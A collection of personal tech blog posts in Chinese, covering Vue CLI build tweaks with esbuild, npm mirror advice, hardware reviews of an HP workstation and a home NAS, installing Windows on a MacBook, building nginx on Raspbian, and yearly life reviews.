编译完成后,将 src 目录下的 bwm-ng 二进制文件移动到合适的位置(一般在 $PATH 中指定过的路径),使用 sudo bwm-ng 就可以使用了。

  bwm-ng v0.6.3 (probing every 0.500s), press 'h' for help
  input: /proc/net/dev type: rate
  /         iface                   Rx                   Tx                Total
  ==============================================================================
      wifi-aware0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
             ifb0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
             sit0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
             p2p0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
    r_rmnet_data1:           0.00 KB/s            0.00 KB/s            0.00 KB/s
               lo:           0.00 KB/s            0.00 KB/s            0.00 KB/s
      rmnet_data2:           0.00 KB/s            0.00 KB/s            0.00 KB/s
      rmnet_data5:           0.00 KB/s            0.00 KB/s            0.00 KB/s
       rmnet_ipa0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
           dummy0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
      rmnet_data1:           0.00 KB/s            0.00 KB/s            0.00 KB/s
    r_rmnet_data2:           0.00 KB/s            0.00 KB/s            0.00 KB/s
      rmnet_data0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
            wlan1:         229.75 KB/s           10.00 KB/s          239.76 KB/s
      rmnet_data3:           0.00 KB/s            0.00 KB/s            0.00 KB/s
            wlan0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
    r_rmnet_data3:           0.00 KB/s            0.00 KB/s            0.00 KB/s
    r_rmnet_data0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
          ip_vti0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
          ip6tnl0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
            bond0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
             ifb2:           0.00 KB/s            0.00 KB/s            0.00 KB/s
             ifb1:           0.00 KB/s            0.00 KB/s            0.00 KB/s
       rmnet_mhi0:          24.65 KB/s          227.47 KB/s          252.12 KB/s
      rmnet_data4:          18.40 KB/s          231.23 KB/s          249.63 KB/s
         ip6_vti0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
  ------------------------------------------------------------------------------
            total:         272.80 KB/s          468.71 KB/s          741.50 KB/s

如何在已有的 Vue CLI 项目使用 esbuild

作者 tcdw
2025年2月20日 17:54

EDIT 2: Vue CLI 都凉了,建议更换 Rspack

EDIT: 其实可以试着用相同的方法把 Babel 换成 SWC,因为它最低可以编译到 ES5。不过我现在不需要负责这个兼容 IE11 的项目了哈哈哈哈

背景

我们的门户网站项目(Vue 2 / Vue CLI 5 / TypeScript / Element UI)前端部分编译所需时间太长,因此开始考虑在不对已有项目进行过于伤筋动骨的调整的前提下,提升编译速度的方式。

由于 Vite 使用了 esbuild 进行编译速度的提升,我们想到了一个主意:借助 esbuild-loader,把 Vue CLI 中的 Babel 替换为 esbuild。

分析

在项目根目录执行 npx vue-cli-service inspect,可以看到最终生成的 Webpack 配置中,以下部分涉及到了 babel-loader:

      /* config.module.rule('js') */
      {
        test: /\.m?jsx?$/,
        exclude: [
          function () { /* omitted long function */ }
        ],
        use: [
          /* config.module.rule('js').use('babel-loader') */
          // (略)
        ]
      },
      /* config.module.rule('ts') */
      {
        test: /\.ts$/,
        use: [
          /* config.module.rule('ts').use('babel-loader') */
          // (略)
          /* config.module.rule('ts').use('ts-loader') */
          // (略)
        ]
      },
      /* config.module.rule('tsx') */
      {
        test: /\.tsx$/,
        use: [
          /* config.module.rule('tsx').use('babel-loader') */
          // (略)
          /* config.module.rule('tsx').use('ts-loader') */
          // (略)
        ]
      }

由此可知,我们需要将 jststsx 的默认规则进行清空处理,然后让 jststsx 使用 esbuild-loader

操作

首先,安装 esbuild-loader

npm i -D esbuild-loader

然后,在 vue.config.js 下的 chainWebpack 中加入以下内容:

// 清空已有的使用 `babel-loader` 的规则
config.module.rule("js").uses.clear();
config.module.rule("ts").uses.clear();
config.module.rule("tsx").uses.clear();

// 注入使用 `esbuild-loader` 的新规则
config.module.rule("js")
    .test(/\.m?jsx?$/)
    .use("esbuild-loader")
    .loader("esbuild-loader")
    .options({
        loader: "jsx",
        target: "es2015"
    })
    .end();
config.module.rule("ts")
    .test(/\.ts$/)
    .use("esbuild-loader")
    .loader("esbuild-loader")
    .options({
        loader: "ts",
        target: "es2015"
    })
    .end();
config.module.rule("tsx")
    .test(/\.tsx$/)
    .use("esbuild-loader")
    .loader("esbuild-loader")
    .options({
        loader: "tsx",
        target: "es2015"
    })
    .end();

就可以了。

已知问题

  • 如果项目中有使用到 Web Worker,肯定会炸掉,出现 TypeError: Failed to construct 'URL': Invalid URL 错误。采用 Babel 则正常工作。

遗憾

尽管 esbuild 是好文明,我们依然无法在那个门户网站项目中使用;因为我们项目要求兼容 IE11,而 esbuild 目前最低只能编译到 ES2015,这就导致编译产物无法在 IE11 等不(完全)支持 ES2015 的浏览器中运行;不过,在本地调试时还是很爽的,因为开发环境冷启动和热更新速度确实快了不少。

不过,如果你的项目不需要兼容 IE11 等老浏览器,但恰好还没有升级到 Vue 3 + Vite,完全可以试一试。能快一点是一点啊)

我的 2021

作者 tcdw
2022年1月1日 23:04

于是,2021 年猝不及防的结束了。虽然我很多时候懒得写这种总结,但是考虑到我还有一个博客在运行,还是写一篇总结好了。

设备添置

今年,我利用自己的收入,给自己添置了很多新的装备。其中两件最重要的是:

同时,今年我把我的 Homelab 建设了起来。我通过购买一些全新/二手设备和配件,完成了我业余机房的基础建设。

功能上,可以分为图形虚拟化服务器、Linux 虚拟化服务器、云游戏服务器、NAS 和软路由;同时,还借助一台阿里云 ECS 实现端口转发、VPN 等功能。当然,这样的业余机房也不是没有代价的;一个是噪音比较大(就这我还没考虑机架式服务器),还有一个是电费要比以前高出不少(好在内蒙古的电价相对还是很低的)。但是,这套 Homelab 极大的改善了我(自认为是 Power User)的 IT 生活体验,包括云游戏也可以让我在任何地方享受家里安装的 PC 游戏。

说到 PC 游戏,其实这一块一直是我最缺乏了解的领域。我主要的游戏经历都是在家里的山寨 FC、后来(打着 MP4 旗号)的模拟器机、智能手机,以及 Nintendo Switch 上;由于以前家里的 PC 配置并不理想,加上父母的态度对 PC 游戏并不友好,我在 PC 上玩过的游戏寥寥无几(不过包括 Minecraft)。其实我开始涉足云游戏,只是希望拥有更好的远程桌面体验;虽然今年显卡价格蹭蹭蹭的上涨,但是因为我去年恰好买了张索泰的 GTX 1650 Super 当亮机卡(迷惑行为),我误打误撞的就开始玩起了《原神》,结果我一发不可收拾,还注册了 Steam 账号,开始研究我还能在 PC 上玩些什么有趣的游戏。因为就算是 1650 Super 这种入门级游戏显卡,它带来的游戏体验也是碾压对我来说的传统游戏设备(至少现今),而且键鼠操作也让我感觉更加灵活、舒适。

不过我也发现很多 PC 游戏都有着烦人的 DRM 和反作弊措施 (aka rootkit)。虽然我不认为我是什么隐私怪,但这让我感觉并不太爽;同时因为我工作站的十代 i7 算不上玩游戏的最佳选择,我从群友那边收了一套 B450 + Ryzen 5 3600 的套装,用手上的一些东西组装了专用的云游戏服务器。结果我的 1650 Super 反而成瓶颈了(

兼职

随着我不断接近毕业,学校的事情也变得越来越少。于是今年年初,在 @qwe7002 的介绍下,我开始利用空闲时间做一些前端开发的远程兼职,并陆续参与了几个项目:

  • 某微信小程序(2 月至 4 月)。这个小程序是经过了几个外包开发者之手,代码逻辑混乱不堪。我经过不懈努力,成功的重构了一小部分浑浊不清的代码,还写了几个新的页面。不过这个项目的经历也让我明白 TypeScript 对于这种多人合作的大型 JS 项目真的很关键,同时对小程序的好感进一步受损,因为这玩意即使是对开发者也很不友好啊。
  • 某 ERP 系统前端(3 月至年底)。这一次,我和另外几位小伙伴,从零开始了一个比较庞大的 Vue 2 项目。我参与了整个项目的选型和脚手架搭建工作,同时意志坚定的选择了 TypeScript(虽然代码里还是有一大坨 any。这个项目还是让我感觉非常愉悦的,因为毫无大型商业项目开发经验的我们居然成功的把项目做了出来,积累了不少经验;而且,还成功让我的小伙伴们掌握了 TypeScript 的基本使用(他们以前都只有 JavaScript 的使用经验);而最重要的是,我拿到了一笔非常可观的报酬。

12 月,我顺利的完成了毕业设计和毕设答辩,进入实习阶段。2022 年起,我将在福州开始我人生中的全新篇章——成为社畜。虽然不知道以后还会发生什么,但是我对我的未来还是充满期待的。

博客

今年我没有对自己博客花很多的时间。不过,我的博客一年来运行基本正常,没出幺蛾子,还是可喜可贺的。

以及,我开始用 Golang 重构我博客的评论系统了。原来写的 Node.js 后端虽然能用,但是算上依赖以后的体积非常臃肿,而且非常吃内存(要知道我的 VPS 也就是 1c1g 的配置);同时,我想找个东西来练练 Golang,所以就拿自己博客的评论系统开刀了。

目前还没有写完,但是到时候大概可以给我可怜的 VPS 节约不少内存吧。

2022……?

2022 年对于我来说会是变化最大的一年,因为我的身份要从学生变成社畜了,同时以后要开始在南方城市常年驻扎。所以未来的事情,只能说走一步看一步吧。

听某些人说,2022 年意味着 2020 年的重复,因为 2022 年拿英文读听起来像 Two thousand twenty too(也是 2020 年)。2021 年的世界依然不太平,所以只能希望 2022 年不要真的是这样,以及第三次世界大战永远不要发生了(至少在我的整个人生中)。

最后,祝大家新年快乐。

npm、镜像源与 package-lock.json

作者 tcdw
2021年11月14日 18:17

在国内开发涉及 Node.js 的应用都知道,裸连官方的 https://registry.npmjs.org 非常慢,等待时间令人捉急。

解决这种问题,我们自然想到的就是找镜像源(就像 Linux 发行版的包管理器那样)。

国内目前已经有一些 npm 镜像源,大多数情况下,它们其实还是可以用的。但是,package-lock.json 中会记录下各个包的原始 URL:

{
    "node_modules/@babel/compat-data": {
        "version": "7.16.0",
        "resolved": "https://repo.huaweicloud.com/repository/npm/@babel/compat-data/-/compat-data-7.16.0.tgz",
        "integrity": "sha512-DGjt2QZse5SGd9nfOSqO4WLJ8NN/oHkijbXbPrxuoJO3oIPJL3TciZs9FX+cOHNiY9E9l0opL8g7BmLe3T+9ew==",
        "dev": true,
        "license": "MIT",
        "engines": {
            "node": ">=6.9.0"
        } 
    },
    "node_modules/@babel/core": {
        "version": "7.16.0",
        "resolved": "https://repo.huaweicloud.com/repository/npm/@babel/core/-/core-7.16.0.tgz",
        "integrity": "sha512-mYZEvshBRHGsIAiyH5PzCFTCfbWfoYbO/jcSdXQSUQu1/pW0xDZAUP7KEc32heqWTAfAHhV9j1vH8Sav7l+JNQ==",
        "dev": true,
        "license": "MIT"
    }
}

其实如果项目仅仅在国内开发和编译,问题不会很大。但是如果你开发的是开源项目(特别是面向海外的)或者在国外服务器跑 CI,你的项目就有可能会遇到安装依赖时连接不稳定的问题(因为国内这些镜像源通常不会针对国外优化)。

对此,我的建议是:

  • 尽量避免使用镜像源。
    • 进行肉翻。
    • 对于连接缓慢的问题,可以给 npm 设置代理,或者利用国外 VPS 为 npm 自建 SNI Proxy,然后在本地修改 hosts 文件/进行 DNS 劫持。
  • 如果一定要使用镜像源,则需要:
    • 考虑清楚你的项目是否将完全在国内开发,并让团队中所有人使用相同的镜像源。
    • 尽量选择能够通过 sed 简单替换 package-lock.json 中所记载地址的镜像源(例如华为源、中科大源)。

新的桌面工作站:HP Z2 G5 Tower

作者 tcdw
2021年3月2日 19:44

我的上一代桌面工作站是台戴尔的 Inspiron 660,购于 2013 年初。经过数年来的多次升级,它拥有了三代 i7 处理器、16GB 内存和固态硬盘。

其实这台机器的性能直到今天依然不算逊色,基本上可以满足日常使用。但是,因为一些个人原因,我开始日常需要开启多个虚拟机,于是这台机器的 CPU 就开始有些吃不消了。

考虑到这台机器已经有 8 年历史,于是我便决定让它退居二线,同时将主力工作站进行升级换代。

经过反复的挑选,我最终选中了惠普的 Z2 G5 Tower。它在这些方面非常吸引我:

  • 免工具维护
  • 极高的可扩展性,有着合理的升级路线
  • 没有光污染,但是不失颜值的机箱箱体

在我购买这台机器时,我其实已经听说了 11 代酷睿系列处理器即将发布的消息,但是我这台机器预期服役 5 年以上,感觉差上一代应该问题不大。

以及我买的配置其实听起来就感觉有点尴尬:i7-10700 / 8GB DDR4 2666 x1 / 2TB 机械硬盘,不过我自己已经有一些配件了,可以直接换上去用。

最终,成功在国内商家以 6.8k 拿下。

安装

因为卖家发的是顺丰,所以我下单以后第三天就到了。毕竟在内蒙古这种地方,这个速度已经算是很快了。

包装

机箱的颜值确实不错,不过感觉比想象中的要略小一点。

  • 正面 IO:
    • 2 个 USB 3.1 Gen1
    • 2 个 USB 3.1 Gen2
    • 耳麦接口
  • 背面 IO:
    • 2 个 USB 2.0
    • 2 个 USB 3.1 Gen1
    • 2 个 USB 3.1 Gen2
    • 1 个 RJ-45(I219-LM,千兆以太网)
    • 线路输入和线路输出
    • 2 个全尺寸 DisplayPort
    • 1 个 VGA (Flex IO modules)
机箱前面 机箱后面

打开机箱也非常简单,只要扳动背面右侧的黑色开关即可。

初见机箱内部

后盖上粘贴的贴纸介绍了主板各个部位的用途。

后盖贴纸

中间那个横着的玩意是……显卡风扇。应该是辅助散热的,不过也给我后面的显卡安装带来了一些麻烦(见后文)。

显卡散热器

工作站的主板。这块主板的可扩充性的确非常丰富,主要亮点有:

  • 4 条 DDR4 内存插槽
  • 4 个 SATA 3 接口
  • 两个 M.2 M Key 插槽(只支持 2280 尺寸)和一个 M.2 E Key 插槽(我这台已经预装了 AX201)
  • 4 个 PCI-E 插槽

顺便主板是前后一体贯通的,而且是非标准螺丝孔位,所以是没法更换市售主板的。不过对我来说无所谓啦。

主板

传说中的 Flex IO modules;我这台配的是 VGA 输出。

Flex IO modules

预装的 AX201 网卡,支持 Wi-Fi 6 和蓝牙 5.0。

AX201 网卡

主板的 PCI-E 插槽,配置如下:

  • 1 个 PCI-E x16
  • 2 个 PCI-E x4(x1 信号)
  • 1 个 PCI-E x16(x4 信号)

PCI-E 插槽

其它配件

我的附带了一个笔记本尺寸的 DVD-RW 驱动器,不过还预留了一个空的 5.25 寸扩展槽。

DVD-RW 驱动器

700W 的电源适配器,有着 80 Plus 铂金认证。预留了两条 6+2 的显卡供电。

虽然是非标准的电源,不过使用一些高端显卡应该是绰绰有余。

Edit: 有 Telegram 群友指出这个电源适配器应该是符合 ATX12VO 标准的。电源参数看起来确实如此,但是实际上孔位和尺寸跟正常的 ATX 电源完全对不上,而且电源接口也是非标准的。

电源适配器

三星 8G DDR4 2666 内存。

内存

东芝 DT01ACA200 机械硬盘(2TB / CMR);拆下来以后被我塞进 NAS 里了。

机械硬盘

硬盘托架;这台机器可以安装两块 3.5 寸硬盘。

硬盘托架

其它附带的东西

包装中除了主机本体,还有小册子、品字电源线、键盘和鼠标。

其它物品

附带的键盘和鼠标;朴实无华,但是手感还算说得过去。

鼠标 键盘

安装我自己的配件

随后,我安装了我自己已有的一些配件:

  • 显卡:ZOTAC GTX 1650 Super (4GB GDDR6)
  • NVMe SSD:铠侠 RC10 500GB
  • 内存:英睿达 16GB DDR4 2666

但是安装显卡时,我发现我扣不上机箱的显卡散热器。仔细一看,发现了问题所在:我的显卡的供电口位置很尴尬,恰好和散热器冲突。

显卡散热器问题

所以,我只好先把固定散热器(?)的那个黑色的东西拆下来了,然后才有了足够的空间。拆下来以后看起来问题不大,机箱的显卡散热器还能固定住的样子。

那么把整个散热器都拆掉呢?我试了,结果机器在 POST 就会报错,抱怨风扇出现了问题。

理论上来说,我可以装个假负载,来让主板认为风扇在正常工作;但是这台机器的风扇接口也是非标准的,就有点尴尬。

使用体验

安装完毕以后,顺利开机,没有任何问题。

得益于 24G 的内存、8 核 16 线程的处理器和 Hyper-V,整体的体验是滑溜溜的,开 3 个 Windows 虚拟机都压力不大。

hwinfo 信息

CPU

2021 年 4 月更新:因为发现 500G 的存储空间有点捉襟见肘,再加上 Chia 挖矿潮即将兴起,所以提前把固态硬盘换成了建兴 T10 240GB + 铠侠 RC10 1TB 的组合。很爽。

总结

感觉这台机器买的很值,相比我 8 年前的旧电脑,是一次非常巨大的飞跃。开心!

顺便一提,我在购买这台机器时,有考虑上一块更好的显卡,但是现在显卡实在是贵的太离谱了,就先把之前买的 GTX 1650 Super 装上了。(摊手

我的 2020

作者 tcdw
2021年1月1日 00:49

好耶,我终于把 2020 年勉强过完了。

成就

我在 2019 年终总结里写道:

待定!计划赶不上变化的。

结果,受到 COVID-19 疫情的影响,今年的大计划其实几乎都泡汤了(包括计划参加的一个比赛、2020 年夏天的面基出游计划等)。

所以,总体上感觉今年是碌碌无为的一年。不过没办法……

买买买

不过今年买到了不少很棒的新硬件:

  • WI-1000XM2
    听感很好,佩戴起来相当舒适,而且 10 个小时的续航还是很香的。
  • 自组装台式机
    我第一次亲自从头开始组装的台式机,虽然有些配件选择上的遗憾,不过点亮后还是很有成就感。
  • 一加 8T
    强大的骁龙 865、65W 快充(虽然是私有协议)、滑溜溜的 120Hz 屏幕、很强的可折腾度……用起来太爽了!
  • AirPods Pro
    出门使用还是很方便的,包括超级简单的多设备切换功能!

今年并没有购买很多专辑,不过还是感觉这些是很不错的:

博客

今年的确没有写很多博客,不过还是做了不少工作,让它「符合潮流」:

  • 将评论系统后端用 TypeScript 进行了重构,修正了很多错误
  • 给自己博客增加了暗色模式,并支持跟随系统切换
  • 给自己写了一套全新的卡片式博客主题,使用了新的设计语言

2021 年计划?

在 Intel 版 MacBook Pro 以 EFI 的形式安装 Windows 10

作者 tcdw
2020年9月25日 23:38

为什么?

最近我想玩 Minecraft Windows 10 Edition,但是我在学校,我自己的电脑只有一部 MacBook Pro 2017。

那为什么不用 Bootcamp 呢?

因为我也不知道为什么,只有无尽的黑屏与 Windows 10 安装向导初始化的画面。我无法开始安装。

而且 Bootcamp 还有其它的缺点,具体可以看 这里

顺便少数派那个教程有点过时了,我在我的新款 MacBook Pro 安装时撞了些坑,所以决定写个新教程,造福人类。

准备材料

  • Windows 10 ISO
  • UNetbootin
  • 8G 以上的 U 盘(建议使用 USB 3.0 的)
  • USB Hub(建议使用 USB 3.0 的)
  • 支持 Windows 的键鼠套装(在安装完整的 Bootcamp 驱动以前,内置键盘和触摸板用不了的)
  • 机智的你

如果你使用的是带 T2 芯片的新款机型,请先根据 官方说明 允许通过外部 USB 设备启动。

我的安装环境

  • 机型:MacBook Pro (13-inch, 2017, Two Thunderbolt 3 ports)
  • 操作系统:macOS 10.13.5 (17F77)
  • 磁盘:256GB,只有 macOS 分区

分出 Windows 分区

假如你打算留下 macOS,请使用这个命令调整 macOS 分区大小:

diskutil apfs resizeContainer disk1 200GB    # 200GB 指你给 macOS 留的分区大小

这些数值可以酌情调整。但是,请确保有足够的剩余空间。

制作 Windows 10 安装盘

下载好 Windows 10 ISO,插上你的 U 盘,然后先格式化一下:

格式化 U 盘

我们把 格式 设置为 MS-DOS (FAT)方案 设置为 主引导记录

然后我们打开 UNetbootin,选择 Diskimage,打开我们准备好的 Windows 10 ISO。下面的 Type 当然选择 USB Drive,然后将 Drive 设置成你要制作安装盘的 U 盘(如果不确定的话,可以把主机上所有其它 U 盘和读卡器什么的都拔掉,这样就只有一个选项了)。

UNetbootin

然后点击 OK,耐心等待写入完毕就是了。

写入过程

在写入完毕后,我们打开 启动转换助理,选择 操作 => 下载 Windows 支持软件,并将保存位置设为我们的安装盘的根目录下。接下来我们会需要的。

下载即将结束时会向你请求权限,这是正常的,直接输入密码确认就行了。

下载 Windows 支持软件

如果你尝试过 Boot Camp 安装

如果你没有尝试过 Boot Camp 安装,请跳过这一节!

直接照着 这篇帖子 里面的方法做就行。

以及你需要先把 SIP 暂时关掉。

开始安装

把你的 U 盘、键盘和鼠标插上你的 USB Hub,并连接 MacBook。

重启你的 MacBook 并按住 Option 键,你会看到有好几个磁盘的选项。按方向键选择 黄色图标的 EFI Boot,然后回车。

然后先按提示一路走下去,然后到了选择磁盘这一步,你会发现没有磁盘可选。这是正常的,我们还需要加载驱动程序。

我们点击 加载驱动程序,再点击 浏览,找到 C:\WindowsSupport\$WinPEDriver$\AppleSSD64,确定。然后点击下一步。

稍后,我们就可以看到我们的磁盘分区了。我们按照正常的方法创建好分区,然后继续一路向前就是了。

安装驱动

当我们进入安装好的 Windows 10 以后,找到你安装 U 盘下的 WindowsSupport\BootCamp 文件夹,运行里面的 setup.exe,安装驱动程序,然后重新启动就是了。

然后就大功告成了,你的内置键盘、触摸板等一系列硬件都可以使用了。

(在我设备上的)已知问题

  • Windows 睡眠时间过长以后,你需要经过完整的开机过程才能还原。
  • 每次返回 macOS,你恐怕都需要按住 Option 键手工选择 macOS 分区。在设置里改 启动磁盘 不管用。
  • 蓝牙工作异常

为什么大家都在安利这一样东西?

作者 tcdw
2020年8月21日 17:45

大概无数次我在各大群组里(看见别人)求某种东西的推荐,然后群友们就异口同声的说:「XXX(指同一件东西)不香吗?」

但是这样的安利反而让我感觉不安,因为:

  • 一种东西肯定有它自己的优缺点,但是在那些群友的口中,给人一种 XXX 非常完美的错觉。
    真的,跑分不能说明一切。
  • 安利这种东西的群友中,大概率有相当一部分是它的 fanboy,然后如果你提出不太一样的安利,大概会跟你争个面红耳赤,甚至引起严重的不愉快。
    好吧,我大概是已经屈服于这种「政治正确」了。
  • 有的群友可能只是云用户,在瞎起哄而已。

所以为什么通常情况下,我越来越不想在群聊中为这种事情浪费时间了。我宁可自己问问 Google 娘。

新的家庭服务器:MicroServer Gen10

作者 tcdw
2020年1月10日 19:02

我的上一代家庭服务器是一台技嘉的 GB-BXBT-2807。其实作为家庭服务器来说,它是个还行的选择,但是内部只能安装一块 2.5 寸 9.5mm 以下的 SATA 硬盘,而且只有一个 USB 3.0 和两个 USB 2.0 接口。

我家的上传速率其实还是可以的,而随着我开始尝到私有云的甜头,我陆续增加了三块硬盘。然而因为它只有一个 USB 3.0 接口,所以最后我的家庭服务器变成了这个样子。

胶水 NAS

看来,我需要一台真正的多盘位 NAS 服务器了。我一度考虑过以下方案:

  • 搞个蜗牛星际。但是在 KK 家摸到真机以后,我对它的做工倍感失望。
  • 买个迎广 MS04,自己从头攒一台 NAS 出来。但是这样的话,总支出大概不会跟买一台 Gen10 差太远,而且保修这个问题会变得比较复杂。

最终,我还是决定购买 HPE ProLiant MicroServer Gen10。

可以说,这款主机对我来说,几乎是完美的:

  • 4 盘位(虽然并不是热插拔)
  • 低功耗(x3216 的 TDP 只有 15w)
  • 主机本身是正常的 x86 PC,可以很方便的安装各种主流 Linux 发行版
  • 做工良好,可靠性强
  • 两个 PCI-E 插槽(分别为 x8 和 x1),未来升级万兆会很方便
  • 接口丰富:四个 USB 3.0、两个 USB 2.0、两个千兆以太网口、两个全尺寸 DP 和一个 VGA
  • 预装 8GB DDR4 ECC 内存
  • ……

就这样,我以 2.8k CNY 的价格在美亚拿下了这玩意。其实我一开始考虑从德亚买的,只要 2.5k(当时),但是并不能直邮到中国。为了省事,我就直接在美亚买了。

安装

近两周以后,它抵达了我家。到手的第一件事,当然是拆开检查一下了。箱子中并没有太多的东西(主机、美标品字电源线和一堆小册子),不过对于它的目标用户来说大概够了吧。

顺便那条品字电源线用的是带接地的美标插头,这使得它并不能在新国标的插线板上使用。所以如果你家没有多余的品字电源线,别忘了单独买一条!

Gen10 正面

Gen10 背面

Gen10 左侧

PSU 是台达的 flex 电源,宽电压,最大输出 200W;输出有 24pin x1、大 4P x1 和小 4P(软驱电源插头)x1。

接下来就要安装硬盘了。这玩意并没有独立的硬盘仓,所以你需要这样安装硬盘:

  1. 从硬盘仓顶部拧下来 4 颗螺丝
  2. 把这 4 颗螺丝拧到硬盘两侧最左面和最右面的孔位上
    硬盘上的螺丝
  3. 把硬盘正面朝右,稍微用力的推进硬盘仓。移除硬盘也是超级容易的(见硬盘仓左下角贴纸):
    硬盘仓(安装后)

然后就开始安装系统 SSD 了。这玩意并没有 M.2 NVMe 插槽,但是在主板上提供了一个额外的 SATA 接口,所以我买了一块普通的 SATA SSD。

然而,Gen10 的 PSU 并没有多余的电源线,你能利用的只有那个小 4P 插头。所以你需要买这样的转接线:

我那个 Gamemax 机箱正好附送了一根这样的转接线,所以我就直接拿来用了。

至于 SSD 的固定……Gen10 上侧的那几个空位是给你固定笔记本光驱用的,所以你的 SSD 大概就只能这样放着。当然你可以再买个笔记本光驱位转硬盘位之类的东西,不过 NAS 这种东西本身也不需要经常挪动,再说 SSD 里面并没有活动的部件,所以我就无所谓了。

系统 SSD(安装后)

系统

我选用的是 Ubuntu 18.04 LTS。因为:

  • Ubuntu 是我熟悉的发行版系列
  • 我拥有充分的控制能力

安装过程没什么坑,一切都在预料之中。随后,我通过 apt 安装了各种我需要的软件(nginx、Aria2、Transmission 等),写好 /etc/fstab 表,就大功告成了。

目前,我的硬盘使用情况如下:

硬盘 安装位置 用途
东芝 240G SSD(TR200) 顶部 系统盘
东芝 2T 监控盘(DT01ABA200V) 硬盘仓 1 一般文件存储
西数 4T 蓝盘(WD40EZRZ) 硬盘仓 2 BT/PT 下载

同时,我还有一块 2T 的东芝移动硬盘用于冷备份;我会定期将它连接到 Gen10 上,运行我的脚本来进行 rsync。

嗯,我觉得目前就足够了。等将来有需求的话,再考虑加硬盘吧。

完工

2024 更新

这台机子还在服役,但是我后来又买了三块 4T 硬盘来组建 RAID-Z1 阵列,同时为了降低运维难度(其实是我懒),所以把系统换成了 TrueNAS Scale。

内存也加到了 16G,因为 ZFS 对内存的需求更多一些。

系统运行

我之前的确考虑过 CPU 的问题,毕竟这玩意是焊在主板上的。但我的需求不高(就是存取文件和下载啥的,顺便开个 web 服务器),即使是看动画的话,解码都在客户端完成,所以也就 Gen10 了。

实测我的 CPU 负载一般可以控制在 1.0 以下;如果我真的需要算力,大概我就直接拿主力机器搞事了。

neofetch


我的 2019

作者 tcdw
2020年1月1日 11:18

好耶,我终于把 2019 年瞎鸡巴过完了!

感觉今年反而是相当平淡的一年,所以其实并没有太多的要讲。都是无病呻吟

成就

  • 考到了 C1 驾照
  • 获得了 5000 元的奖学金(第一次!)

面基

今年去了广州、福州和深圳,在线下见到了 qwe7002(又一次)、whitebox、寿司同学和 kookxiang。

我们一起玩了马车 8,一起进行技术交流,还在 kookxiang 家参观了多种灵车。然后 tcdw 对蜗牛星际的做工倍感失望,一怒之下买了 HPE Microserver Gen10。

开心!

买买买

今年买到了不少很棒的新硬件:

  • Nintendo Switch
    相当便携;上面的第一方游戏真的太好玩了,还有很多不错的第三方游戏。吹爆!
  • Dell UltraSharp U2518D
    颜色非常舒适的 2K 显示器,还内置 USB Hub!
  • AOC P2491VWHE/BW
    还行的 1080p 显示器,功耗很低(我的实测只有 18w 左右)。最初是买来给宿舍用的,奈何我的桌子太小了,所以也搬回家里用了……Switch 大屏游戏?暂且算了吧 🤣
  • 小米 CC9e
    便宜,日常应用体验很流畅!虽然屏幕分辨率很低,不过对我的使用场景来说够用了(大概)。
  • 树莓派 4
    好耶,是千兆以太网和 USB 3.1 gen1。
  • Intel Core i7-3770(散片)
    我家那台戴尔应该可以再战几年了!
  • HPE Microserver Gen10(在撰写本博文时还在路上)

同时在文娱方面增加了不少支出;今年我购买了大量的音乐(139 张专辑和 EP,包括数字专辑、捡垃圾和海淘)。其中我非常喜欢的有:

以及我看着 Telegram 群里的大佬们买各种 灵车 买的不亦乐乎,结果我看了半天什么都没买……不过也没什么实际意义啊,而且没那么可靠吧(?)

博客

今年的确没有写很多博文。大概我对这种东西的兴趣也开始下降了吧,主要感觉很多事情不是不值得写就是不适合写……

不过放心,我目前还没有关掉这博客的打算呢。

稍后打算把我的域名都转移到 Cloudflare 了;name.com 续费死贵。

以及想写个新的博客主题了,但是没什么头绪……

2020 年计划?

待定!计划赶不上变化的。

在树莓派(Raspbian)上安装最新稳定版 nginx

作者 tcdw
2019年11月5日 11:35

如果需要在 Raspbian 上安装最新稳定版 nginx,其实官方是 提供了 Debian 的 apt 源 的,但是并没有提供 armhf 的二进制文件。

于是,我们只好自己通过 Debian 的方式编译安装了。

此方法优点

  • 安装好的 nginx,配置文件路径、维护方法等与官方 Debian 版 nginx 一致
  • 如果需要卸载 nginx,只需执行 sudo apt purge nginx

步骤

1. 安装添加官方 apt 源前所需的包

sudo apt install curl gnupg2 ca-certificates lsb-release

2. 添加官方 apt 源

# 添加官方 apt 源。与官方说明不同的是,由于我们需要源代码,这里添加的是 deb-src 而不是 deb
echo "deb-src http://nginx.org/packages/debian `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list

# 添加 PGP 公钥
curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add -
sudo apt-key fingerprint ABF5BD827BD9BF62

# 下载最新的软件包列表
sudo apt update

3. 安装 nginx 所需的依赖

sudo apt build-dep nginx

4. 下载 nginx 的源代码

# 建议单独建立文件夹来存放此次 nginx 编译所需文件,因为你的工作目录会多出若干文件
mkdir nginx_build
cd nginx_build

# 下载源代码
apt source nginx

5. 编译安装

此时我们检查目录下有什么文件:

drwxr-xr-x 10 tcdw tcdw    4096 Nov  5 03:20  nginx-1.16.1
-rw-r--r--  1 tcdw tcdw  114248 Aug 13 17:17  nginx_1.16.1-1~buster.debian.tar.xz
-rw-r--r--  1 tcdw tcdw    1510 Aug 13 17:17  nginx_1.16.1-1~buster.dsc
-rw-r--r--  1 tcdw tcdw 1032630 Aug 13 17:17  nginx_1.16.1.orig.tar.gz

由此可见,此次我们需要先进入 nginx-1.16.1 文件夹。实际文件夹名称可能会由于版本更新而与本文不一致,但应该只有那一个文件夹,且所有相关文件 / 文件夹均以 nginx- 开头。

cd nginx-1.16.1

开始编译安装:

dpkg-buildpackage -uc -b

完成后,返回上一层目录,发现我们的目录中出现了 nginx_1.16.1-1~buster_armhf.deb 文件。我们现在可以开始安装了:

sudo dpkg -i nginx_1.16.1-1~buster_armhf.deb

大功告成!

nginx -V 的输出

升级新版本

重复第 4 - 5 步即可。

驾照

作者 tcdw
2019年7月26日 23:09

今天我考了科目四,一次过关。

